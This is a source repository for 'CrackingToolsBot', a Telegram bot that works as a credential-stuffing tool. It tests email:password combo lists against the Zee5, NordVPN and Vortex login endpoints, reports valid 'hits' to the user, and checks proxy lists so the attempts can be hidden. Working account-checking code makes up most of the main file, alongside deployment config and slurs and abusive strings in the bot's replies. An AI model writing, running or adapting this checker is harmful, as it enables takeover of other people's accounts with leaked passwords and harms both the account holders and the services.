├── .gitignore ├── BotConfig.py ├── LICENSE ├── Procfile ├── README.md ├── app.json ├── crackingtoolsbot.py ├── loggers.py ├── requirements.txt ├── sql_s ├── __init__.py └── broadcast_sql.py └── url_s.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /BotConfig.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | class Config(object): 5 | DL_LOCATION = os.environ.get("DL_LOCATION", "./starkgang/") 6 | BOT_TOKEN = os.environ.get("BOT_TOKEN", None) 7 | DEVS_EXPO = os.environ.get("DONTKANGTHISPLS", None) 8 | DB_URI = os.environ.get("DATABASE_URL", None) 9 | API_HASH = os.environ.get("API_HASH", None) 10 | API_ID = int(os.environ.get("APP_ID", 6)) 11 | LOG_CHAT = int(os.environ.get("LOG_CHAT", -111111)) 12 | OWNER_ID = int(os.environ.get("OWNER_ID", None)) 13 | JTU_ENABLE = os.environ.get("JTU_ENABLE", False) 14 | JTU_ID = int(os.environ.get("JTU_ID", False)) 15 | JTU_LINK = os.environ.get("JTU_LINK", "t.me/PutLinkHereNIbbaElseHowPeopleWillKnow") 16 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 DevsExpo LLC 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | dyno: python -m crackingtoolsbot 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

CrackingToolsBot

2 |

A Cracking Tools Bot In Telethon

3 | 4 | 5 | 6 | # Deploy-To-Heroku 7 | [![Deploy To Heroku](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/DevsExpo/CrackingToolsBot/blob/main) 8 | 9 | # Licence 10 | Copyright (C) 2021 DevsExpo 11 | 12 | ``` 13 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 14 | 15 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 18 | ```` 19 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "CrackingUtilsBot", 3 | "description": "Simple Cracking Tools Bot in Telethon.", 4 | "logo": "https://images.discordapp.net/avatars/224415693393625088/8f6a0ca7e883f87241b02ba8e1328f34.png", 5 | "keywords": [ 6 | "telegram", 7 | "cracking", 8 | "plugin", 9 | "telegram-bot", 10 | "productivity" 11 | ], 12 | "repository": "https://github.com/DevsExpo/CrackingToolsBot", 13 | "website": "starkgang.ml", 14 | "success_url": "t.me/devsExpo", 15 | "env": { 16 | "ENV": { 17 | "description": "Setting this to ANYTHING will enable heroku.", 18 | "value": "ANYTHING" 19 | }, 20 | "BOT_TOKEN": { 21 | "description": "Your Bot Token.", 22 | "value": "" 23 | }, 24 | "APP_ID": { 25 | "description": "Get this value from my.telegram.org! Please do not steal", 26 | "value": "" 27 | }, 28 | "JTU_ENABLE": { 29 | "description": "Do You Wish To Enable Join To Message System?", 30 | "value": "True" 31 | }, 32 | "LOG_CHAT": { 33 | "description": "Chat Where You Want Logs To Be Logged :)", 34 | "value": "-100" 35 | }, 36 | "OWNER_ID": { 37 | "description": "Put Your Fking ID", 38 | "value": "123456789" 39 | }, 40 | "JTU_ID": { 41 | "description": "First Set JTU_ENABLE To True. Put Channel ID where u want to enable checking, Don't Forget To Add Bot To That Channel.", 42 | "value": "-100", 43 | "required": false 44 | }, 45 | "JTU_LINK": { 46 | "description": "First Set JTU_ENABLE To True. Put Channel Link where u want to enable checking, Don't Forget To Add Bot To That Channel.", 47 | "value": "t.me/yourchannelsusernamehereokay", 48 | "required": false 49 | }, 50 | "API_HASH": { 51 | "description": "Get this value from my.telegram.org! Please do not steal", 52 | "value": "" 53 | } 54 | }, 55 | "buildpacks": [ 56 | { 57 | "url": "heroku/python" 58 | } 59 | ], 60 | "addons": [ 61 | { 62 | "plan": "heroku-postgresql", 63 | "options": { 64 | "version": "12" 65 | } 66 | } 67 | ] 68 | } 69 | -------------------------------------------------------------------------------- /crackingtoolsbot.py: -------------------------------------------------------------------------------- 1 | import os 2 | import telethon 3 | import requests 4 | from telethon import TelegramClient, events, functions, Button 5 | from telethon.tl.functions.users import GetFullUserRequest 6 | from loggers import logging 7 | from BotConfig import Config 8 | from sql_s.broadcast_sql import add_usersid_in_db, already_added, get_all_users 9 | 10 | bot = TelegramClient("bot", api_id=Config.API_ID, api_hash=Config.API_HASH) 11 | UltraBot = bot.start(bot_token=Config.BOT_TOKEN) 12 | sedpath = "./starkgangz/" 13 | if not os.path.isdir(sedpath): 14 | os.makedirs(sedpath) 15 | 16 | if not os.path.isdir(Config.DL_LOCATION): 17 | os.makedirs(Config.DL_LOCATION) 18 | 19 | data = { 20 | "User-Agent": "NordApp android (playstore/2.8.6) Android 9.0.0", 21 | "Content-Length": "55", 22 | "Accept-Encoding": "gzip", 23 | } 24 | 25 | data2 = {"accept-encoding": "gzip", "user-agent": "RemotrAndroid/1.5.0"} 26 | 27 | 28 | face = { 29 | "Accept-Encoding": "gzip, deflate, br", 30 | "Accept-Language": "en-US,en;q=0.9", 31 | "Connection": "keep-alive", 32 | "Content-Length": "136", 33 | "Content-Type": "application/json;charset=UTF-8", 34 | "Host": "userauth.voot.com", 35 | "Origin": "https://www.voot.com", 36 | "Referer": "https://www.voot.com", 37 | "Sec-Fetch-Dest": "empty", 38 | "Sec-Fetch-Mode": "cors", 39 | "Sec-Fetch-Site": "same-site", 40 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66" 41 | } 42 | 43 | 44 | @UltraBot.on(events.NewMessage(pattern="^/proxy$")) 45 | async def Devsexpo(event): 46 | if event.sender_id != Config.OWNER_ID: 47 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id) 48 | if rip is False: 49 | await event.reply( 50 | "**To Use This Bot, Please Join My Channel. :)**", 51 | buttons=[Button.url("Join Channel", Config.JTU_LINK)], 52 | ) 53 | return 54 | ok = await event.reply( 55 | "CHECKING PROXIES... PLEASE WAIT. MAY TAKE TIME DEPENDING ON NUMBER OF PROXIES." 56 | ) 57 | pablo = await event.get_reply_message() 58 | if pablo == None: 59 | await event.reply('Reply To File') 60 | return 61 | escobar = await UltraBot.download_media(pablo.media, Config.DL_LOCATION) 62 | cmd = f"python3 -m PyProxyToolkit.Console -i {escobar} -o goood.txt -t 80 -x 20 -s httpbinStrategy" 63 | os.system(cmd) 64 | file = open("goood.txt", "r") 65 | Counter = 0 66 | Content = file.read() 67 | CoList = Content.split("\n") 68 | for i in CoList: 69 | if i: 70 | Counter += 1 71 | file.close() 72 | if Counter <= 0: 73 | await ok.edit( 74 | "Check Failed. Either Your File Has All Bad Proxies Or Your Proxy File Is Invalid." 75 | ) 76 | elif Counter >= 1: 77 | file1 = open("goood.txt", "a") 78 | file1.write("\nCHECKED BY UltraBot. GET YOUR OWN UltraBot FROM @DevsExpo. \n") 79 | file1.close() 80 | ok.delete() 81 | await UltraBot.send_file( 82 | event.chat_id, 83 | "goood.txt", 84 | caption=f"**PROXIES CHECKED**\n**GOOD PROXIES: ** {Counter}\n\n**CHECKED BY UltraBot. GET YOUR OWN UltraBot FROM @DevsExpo.**", 85 | ) 86 | os.remove(escobar) 87 | os.remove("goood.txt") 88 | 89 | 90 | 91 | 92 | @UltraBot.on(events.NewMessage(pattern="^/zee5 ?(.*)")) 93 | async def Devsexpo(event): 94 | if event.sender_id != Config.OWNER_ID: 95 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id) 96 | if rip is False: 97 | await event.reply( 98 | "**To Use This Bot, Please Join My Channel. :)**", 99 | buttons=[Button.url("Join Channel", Config.JTU_LINK)], 100 | ) 101 | return 102 | input_str = event.pattern_match.group(1) 103 | if input_str == "combo": 104 | ok = await event.reply( 105 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`" 106 | ) 107 | stark_dict = [] 108 | hits_dict = [] 109 | hits = 0 110 | bads = 0 111 | lol = await event.get_reply_message() 112 | if lol == None: 113 | await ok.edit('Reply To File') 114 | return 115 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION) 116 | with open(starky) as f: 117 | stark_dict = f.read().splitlines() 118 | if len(stark_dict) > 30: 119 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`") 120 | return 121 | os.remove(starky) 122 | for i in stark_dict: 123 | starkm = i.split(":") 124 | email = starkm[0] 125 | password = starkm[1] 126 | try: 127 | meke = requests.get( 128 | f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}" 129 | ).json() 130 | except BaseException: 131 | meke = None 132 | if meke.get("token"): 133 | hits += 1 134 | hits_dict.append(f"{email}:{password}") 135 | else: 136 | bads += 1 137 | if len(hits_dict) == 0: 138 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") 139 | return 140 | with open("hits.txt", "w") as hitfile: 141 | for s in hits_dict: 142 | hitfile.write(s + " | @DevsExpo") 143 | ok.delete() 144 | await UltraBot.send_file( 145 | event.chat_id, 146 | "hits.txt", 147 | caption=f"**!ZEE5 HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", 148 | ) 149 | os.remove("hits.txt") 150 | else: 151 | if input_str: 152 | if ":" in input_str: 153 | stark = input_str.split(":", 1) 154 | else: 155 | await event.reply("**! No Lol, use email:pass Regex !**") 156 | return 157 | else: 158 | await event.reply("**Give Combos To Check**") 159 | return 160 | email = stark[0] 161 | password = stark[1] 162 | meke = requests.get( 163 | f"https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}" 164 | ).json() 165 | beautifuln = f""" 166 | 💖 **Checked Zee5 Account** 167 | **Combo:** {email}:{password} 168 | **Email:** {email} 169 | **Password:-** {password} 170 | **Response:-** This Account Is Invalid. 😔 171 | 172 | 🔱 **Checked By:-** {event.sender_id} 173 | 174 | **✅Better Luck Next Time, Thanks For Using Me. 175 | Bot Made By @DevsExpo**""" 176 | 177 | beautiful = f""" 178 | 💖 **Checked Zee5 Account** 179 | **Combo:** {email}:{password} 180 | **Email:** {email} 181 | **Password:-** {password} 182 | **Response:-** This Account Is valid.😀 183 | **Login Here**: www.zee5.com 184 | 185 | 🔱 **Checked By:-** {event.sender_id} 186 | 187 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me. 188 | Bot Made By @DevsExpo**""" 189 | if meke.get("token"): 190 | await event.reply(beautiful) 191 | else: 192 | await event.reply(beautifuln) 193 | 194 | 195 | @UltraBot.on(events.NewMessage(pattern="^/nord ?(.*)")) 196 | async def Devsexpo(event): 197 | if event.sender_id != Config.OWNER_ID: 198 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id) 199 | if rip is False: 200 | await event.reply( 201 | "**To Use This Bot, Please Join My Channel. :)**", 202 | buttons=[Button.url("Join Channel", Config.JTU_LINK)], 203 | ) 204 | return 205 | input_str = event.pattern_match.group(1) 206 | if input_str == "combo": 207 | ok = await event.reply( 208 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`" 209 | ) 210 | stark_dict = [] 211 | hits_dict = [] 212 | hits = 0 213 | bads = 0 214 | lol = await event.get_reply_message() 215 | if lol == None: 216 | await event.reply('Reply To File') 217 | return 218 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION) 219 | with open(starky) as f: 220 | stark_dict = f.read().splitlines() 221 | if len(stark_dict) > 30: 222 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`") 223 | return 224 | os.remove(starky) 225 | for i in stark_dict: 226 | starkm = i.split(":") 227 | email = starkm[0] 228 | password = starkm[1] 229 | sedlyf = {"username": email, "password": password} 230 | try: 231 | meke = requests.post( 232 | url="https://zwyr157wwiu6eior.com/v1/users/tokens", 233 | headers=data, 234 | json=sedlyf, 235 | ).json() 236 | except BaseException: 237 | meke = None 238 | if meke.get("token"): 239 | hits += 1 240 | hits_dict.append(f"{email}:{password}") 241 | else: 242 | bads += 1 243 | if len(hits_dict) == 0: 244 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") 245 | return 246 | with open("hits.txt", "w") as hitfile: 247 | for s in hits_dict: 248 | hitfile.write(s + " | @DevsExpo") 249 | ok.delete() 250 | await UltraBot.send_file( 251 | event.chat_id, 252 | "hits.txt", 253 | caption=f"**!NORD HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", 254 | ) 255 | os.remove("hits.txt") 256 | else: 257 | if input_str: 258 | if ":" in input_str: 259 | stark = input_str.split(":", 1) 260 | else: 261 | await event.reply("**! No Lol, use email:pass Regex !**") 262 | return 263 | else: 264 | await event.reply("**Give Combos To Check**") 265 | return 266 | email = stark[0] 267 | password = stark[1] 268 | sedlyf = {"username": email, "password": password} 269 | meke = requests.post( 270 | url="https://zwyr157wwiu6eior.com/v1/users/tokens", 271 | headers=data, 272 | json=sedlyf, 273 | ).json() 274 | beautifuln = f""" 275 | 💖 **Checked Nord Account** 276 | **Combo:** {email}:{password} 277 | **Email:** {email} 278 | **Password:-** {password} 279 | **Response:-** This Account Is Invalid. 😔 280 | 281 | 🔱 **Checked By:-** {event.sender_id} 282 | 283 | **✅Better Luck Next Time, Thanks For Using Me. 284 | Bot Made By @DevsExpo**""" 285 | 286 | beautiful = f""" 287 | 💖 **Checked Nord Account** 288 | **Combo:** {email}:{password} 289 | **Email:** {email} 290 | **Password:-** {password} 291 | **Response:-** This Account Is valid.😀 292 | **Login Here**: www.nordvpn.com 293 | 294 | 🔱 **Checked By:-** {event.sender_id} 295 | 296 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me. 297 | Bot Made By @DevsExpo**""" 298 | if meke.get("token"): 299 | await event.reply(beautiful) 300 | else: 301 | await event.reply(beautifuln) 302 | 303 | 304 | @UltraBot.on(events.NewMessage(pattern="^/vortex ?(.*)")) 305 | async def Devsexpo(event): 306 | if event.sender_id != Config.OWNER_ID: 307 | rip = await check_him(Config.JTU_ID, Config.JTU_LINK, event.sender_id) 308 | if rip is False: 309 | await event.reply( 310 | "**To Use This Bot, Please Join My Channel. :)**", 311 | buttons=[Button.url("Join Channel", Config.JTU_LINK)], 312 | ) 313 | return 314 | input_str = event.pattern_match.group(1) 315 | if input_str == "combo": 316 | ok = await event.reply( 317 | "`Checking Your Combos File. This May Take Time Depending On No of Combos.`" 318 | ) 319 | stark_dict = [] 320 | hits_dict = [] 321 | hits = 0 322 | bads = 0 323 | lol = await event.get_reply_message() 324 | if lol == None: 325 | await event.reply('Reply To File') 326 | return 327 | starky = await UltraBot.download_media(lol.media, Config.DL_LOCATION) 328 | with open(starky) as f: 329 | stark_dict = f.read().splitlines() 330 | if len(stark_dict) > 20: 331 | await ok.edit("`Woah, Thats A Lot Of Combos. Keep 20 As Limit`") 332 | return 333 | os.remove(starky) 334 | for i in stark_dict: 335 | starkm = i.split(":") 336 | email = starkm[0] 337 | password = starkm[1] 338 | sedlyf = {"username": email, "password": password} 339 | try: 340 | meke = requests.post( 341 | url="https://vortex-api.gg/login", headers=data2, json=sedlyf 342 | ).json() 343 | except BaseException: 344 | meke = None 345 | if meke.get("token"): 346 | hits += 1 347 | hits_dict.append(f"{email}:{password}") 348 | else: 349 | bads += 1 350 | if len(hits_dict) == 0: 351 | await ok.edit("**0 Hits. Probably, You Should Find Better Combos. LoL**") 352 | return 353 | with open("hits.txt", "w") as hitfile: 354 | for s in hits_dict: 355 | hitfile.write(s + " | @DevsExpo") 356 | ok.delete() 357 | await UltraBot.send_file( 358 | event.chat_id, 359 | "hits.txt", 360 | caption=f"**!VORTEX HITS!** \n**HITS :** `{hits}` \n**BAD :** `{bads}`", 361 | ) 362 | os.remove("hits.txt") 363 | else: 364 | if input_str: 365 | if ":" in input_str: 366 | stark = input_str.split(":", 1) 367 | else: 368 | await event.reply("**! No Lol, use email:pass Regex !**") 369 | return 370 | else: 371 | await event.reply("**Give Combos To Check**") 372 | return 373 | email = stark[0] 374 | password = stark[1] 375 | sedlyf = {"username": email, "password": password} 376 | meke = requests.post( 377 | url="https://vortex-api.gg/login", headers=data2, json=sedlyf 378 | ).json() 379 | beautifuln = f""" 380 | 💖 **Checked Vortex Account** 381 | **Combo:** {email}:{password} 382 | **Email:** {email} 383 | **Password:-** {password} 384 | **Response:-** This Account Is Invalid. 😔 385 | 386 | 🔱 **Checked By:-** {event.sender_id} 387 | 388 | **✅Better Luck Next Time, Thanks For Using Me. 389 | Bot Made By @DevsExpo**""" 390 | 391 | beautiful = f""" 392 | 💖 **Checked Vortex Account** 393 | **Combo:** {email}:{password} 394 | **Email:** {email} 395 | **Password:-** {password} 396 | **Response:-** This Account Is valid.😀 397 | **Login Here**: www.vortex.gg 398 | 399 | 🔱 **Checked By:-** {event.sender_id} 400 | 401 | **✅Send Screenshot To @DevsExpo. Thanks For Using Me. 402 | Bot Made By @DevsExpo**""" 403 | if meke.get("token"): 404 | await event.reply(beautiful) 405 | else: 406 | await event.reply(beautifuln) 407 | 408 | 409 | @UltraBot.on(events.NewMessage(func=lambda e: e.is_private)) 410 | async def real_nigga(event): 411 | if already_added(event.sender_id): 412 | pass 413 | elif not already_added(event.sender_id): 414 | add_usersid_in_db(event.sender_id) 415 | await UltraBot.send_message( 416 | Config.LOG_CHAT, f"**New User :** `{event.sender_id}`" 417 | ) 418 | 419 | 420 | @UltraBot.on(events.ChatAction()) 421 | async def _(event): 422 | if event.chat_id == Config.LOG_CHAT: 423 | return 424 | okbruh = await UltraBot.get_me() 425 | if event.user_joined or event.user_added == str(okbruh): 426 | lol = event.chat_id 427 | if already_added(event.chat_id): 428 | pass 429 | elif not already_added(event.chat_id): 430 | add_usersid_in_db(event.chat_id) 431 | await UltraBot.send_message(Config.LOG_CHAT, f"**New ChatGroup :** `{lol}`") 432 | 433 | @UltraBot.on(events.NewMessage(pattern="^/start ?(.*)")) 434 | async def atomz(event): 435 | replied_user = await UltraBot(GetFullUserRequest(event.sender_id)) 436 | firstname = replied_user.user.first_name 437 | await event.reply(f'**Hai, {firstname} !, I Am Simple Cracking Tools Bot. PLease Use /help To See Cmds ! \nBy @DevsExpo**') 438 | 439 | @UltraBot.on(events.NewMessage(pattern="^/leave ?(.*)")) 440 | async def bye(event): 441 | if event.sender_id != Config.OWNER_ID: 442 | await event.reply('`Who is This Gey Commanding Me To Leave :/`') 443 | return 444 | okbruh = await UltraBot.get_me() 445 | await event.reply('Time To leave :(') 446 | await UltraBot.kick_participant(event.chat_id, okbruh.id) 447 | 448 | @UltraBot.on(events.NewMessage(pattern="^/help ?(.*)")) 449 | async def no_help(event): 450 | replied_user = await UltraBot(GetFullUserRequest(event.sender_id)) 451 | firstname = replied_user.user.first_name 452 | lol_br = """ 453 | - /start - start me 454 | - /help - ?? 455 | - /zee5 - Checks One Account 456 | - /zee5 combo - Reply To Combos File And Limit is 20. 457 | - /nord - Checks One Account 458 | - /nord combo - Reply To Combos File And Limit is 20. 459 | - /vortex - Checks One Account 460 | - /vortex combo - Reply To Combos File And Limit is 20. 461 | - /proxy - Reply To Proxy File Only, Check Your Proxies 462 | BY @DevsExpo 463 | """ 464 | await event.reply(f'**Hai, {firstname} !, Here is List Of Cmds \n{lol_br}**') 465 | 466 | @UltraBot.on(events.NewMessage(pattern="^/broadcast ?(.*)")) 467 | async def atomz(event): 468 | error_count = 0 469 | msgtobroadcast = event.pattern_match.group(1) 470 | if event.sender_id != Config.OWNER_ID: 471 | await event.reply("**Fuck OFF Bitch !**") 472 | return 473 | hmm = get_all_users() 474 | for starkcast in hmm: 475 | try: 476 | await UltraBot.send_message(int(starkcast.chat_id), msgtobroadcast) 477 | except BaseException: 478 | error_count += 1 479 | sent_count = error_count - len(hmm) 480 | await UltraBot.send_message( 481 | event.chat_id, 482 | f"Broadcast Done in {sent_count} Group/Users and I got {error_count} Error and Total Number Was {len(userstobc)}", 483 | ) 484 | 485 | 486 | async def check_him(chnnl_id, chnnl_link, starkuser): 487 | if not Config.JTU_ENABLE: 488 | return True 489 | try: 490 | result = await UltraBot( 491 | functions.channels.GetParticipantRequest( 492 | channel=chnnl_id, user_id=starkuser 493 | ) 494 | ) 495 | return True 496 | except telethon.errors.rpcerrorlist.UserNotParticipantError: 497 | return False 498 | 499 | 500 | print("Bot Is Alive.") 501 | 502 | 503 | def startbot(): 504 | UltraBot.run_until_disconnected() 505 | 506 | 507 | if __name__ == "__main__": 508 | startbot() 509 | -------------------------------------------------------------------------------- /loggers.py: -------------------------------------------------------------------------------- 1 | import os 2 | from distutils.util import strtobool as sb 3 | from logging import DEBUG, INFO, basicConfig, getLogger 4 | from logging import DEBUG, WARNING, basicConfig, getLogger, INFO 5 | from logging.handlers import RotatingFileHandler 6 | import logging 7 | ENV = os.environ.get("ENV", False) 8 | if ENV: 9 | pass 10 | else: 11 | pass 12 | 13 | ENV = os.environ.get("ENV", False) 14 | if bool(ENV): 15 | CONSOLE_LOGGER_VERBOSE = sb(os.environ.get("CONSOLE_LOGGER_VERBOSE", "False")) 16 | 17 | if CONSOLE_LOGGER_VERBOSE: 18 | basicConfig( 19 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", 20 | level=DEBUG, 21 | ) 22 | else: 23 | basicConfig( 24 | format="%(asctime)s - %(name)s - %(levelname)s - %(message)s", level=INFO 25 | ) 26 | logger = getLogger(__name__) 27 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyProxyToolkit 2 | telethon 3 | cryptg 4 | heroku3 5 | sqlalchemy>=1.2 6 | psycopg2 7 | requests 8 | Pillow 9 | telegraph 10 | httplib2 11 | humanize 12 | lxml 13 | -------------------------------------------------------------------------------- /sql_s/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | from sqlalchemy import create_engine 4 | from sqlalchemy.ext.declarative import declarative_base 5 | from sqlalchemy.orm import scoped_session, sessionmaker 6 | 7 | from BotConfig import Config 8 | 9 | 10 | def start() -> scoped_session: 11 | engine = create_engine(Config.DB_URI) 12 | BASE.metadata.bind = engine 13 | BASE.metadata.create_all(engine) 14 | return scoped_session(sessionmaker(bind=engine, autoflush=False)) 15 | 16 | 17 | try: 18 | BASE = declarative_base() 19 | SESSION = start() 20 | except AttributeError as e: 21 | # this is a dirty way for the work-around required for #23 22 | print( 23 | "DB_URI is not configured. Features depending on the database might have issues." 24 | ) 25 | print(str(e)) 26 | -------------------------------------------------------------------------------- /sql_s/broadcast_sql.py: -------------------------------------------------------------------------------- 1 | from sqlalchemy import Column, String 2 | 3 | from sql_s import BASE, SESSION 4 | 5 | 6 | class Moidata(BASE): 7 | __tablename__ = "moidata" 8 | chat_id = Column(String(14), primary_key=True) 9 | 10 | def __init__(self, chat_id): 11 | self.chat_id = chat_id 12 | 13 | 14 | Moidata.__table__.create(checkfirst=True) 15 | 16 | 17 | def add_usersid_in_db(chat_id: int): 18 | id_user = Moidata(str(chat_id)) 19 | SESSION.add(id_user) 20 | SESSION.commit() 21 | 22 | 23 | def get_all_users(): 24 | stark = SESSION.query(Moidata).all() 25 | SESSION.close() 26 | return stark 27 | 28 | 29 | def already_added(chat_id): 30 | try: 31 | return SESSION.query(Moidata).filter(Moidata.chat_id == str(chat_id)).one() 32 | except: 33 | return None 34 | finally: 35 | SESSION.close() 36 | -------------------------------------------------------------------------------- /url_s.py: -------------------------------------------------------------------------------- 1 | # import DevsExpo 2 | 3 | zee5 = "https://userapi.zee5.com/v1/user/loginemail?email={email}&password={password}" 4 | nord = "https://zwyr157wwiu6eior.com/v1/users/tokens" 5 | vortex = "https://vortex-api.gg/login" 6 | vypr = "https://api.goldenfrog.com/settings" 7 | --------------------------------------------------------------------------------